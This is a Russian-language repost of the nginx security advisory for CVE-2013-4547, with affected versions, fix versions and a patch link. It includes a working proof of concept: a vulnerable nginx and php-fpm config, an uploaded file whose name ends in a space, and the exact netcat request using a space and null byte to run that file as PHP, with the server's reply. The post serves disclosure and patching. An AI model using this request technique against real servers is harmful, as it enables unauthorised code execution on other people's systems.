Уязвимость в nginx — nginx security advisory (CVE-2013-4547)

от автора

В nginx обнаружена (и уже исправлена) уязвимость.
Подробности здесь: mailman.nginx.org/pipermail/nginx-ru/2013-November/052575.html

Проблеме подвержены версии nginx 0.8.41 — 1.5.6.
Проблема исправлена в nginx 1.5.7, 1.4.4.
Для кастомных конфигураций доступен патч — nginx.org/download/patch.2013.space.txt

Особенно интересна вот эта часть:

а также возможность вызывать специальную обработку файла с пробелом на конце в конфигурации вида
location ~ \.php$ {
fastcgi_pass…
}

запросив файл как "/file \0.php".


В популярной конфигурации nginx + php уязвимость может эксплуатироваться следующим образом:
* Пользователь загружает на сервер файл с пробелом на конце
* Специально составленным запросом этот файл исполняется.

Применительно к nginx + php5-fpm должны соблюдаться следующие условия для эксплуатации уязвимости:
1) fastcgi_param PATH_TRANSLATED должнен быть вида $document_root/$fastcgi_script_name, т.е. значение скрипта берется из реквеста
2) в конфиге fpm pool значение ecurity.limit_extensions должно пропускать любые файлы. По-умолчанию она выставлена в .php .php3 .php4 .php5

Пример эксплуатации:

        server { 		listen		*:80; 		server_name	example.com;  		access_log	...; 		error_log	...;  		root /var/www/hot; 		 		location ~ \.php$ { 			include /etc/nginx/fastcgi_params; 			fastcgi_param PATH_TRANSLATED $document_root/$fastcgi_script_name; 			fastcgi_param SCRIPT_FILENAME $document_root/$fastcgi_script_name; 			fastcgi_pass  pass; 		}                  location /css/ { }                 location /js/  { }                 location /img/ { }  	}  

 cat "/var/www/hot/hole "  <?php  echo "I am hole"; ?>  

И наконец сам запрос:

 echo -e "GET /hole \0.php HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc -w 1 example.com 80 HTTP/1.1 200 OK Server: nginx/1.4.1 Date: Tue, 19 Nov 2013 15:31:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.19-1~dotdeb.1  9 I am hole 0  

ссылка на оригинал статьи http://habrahabr.ru/post/202796/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *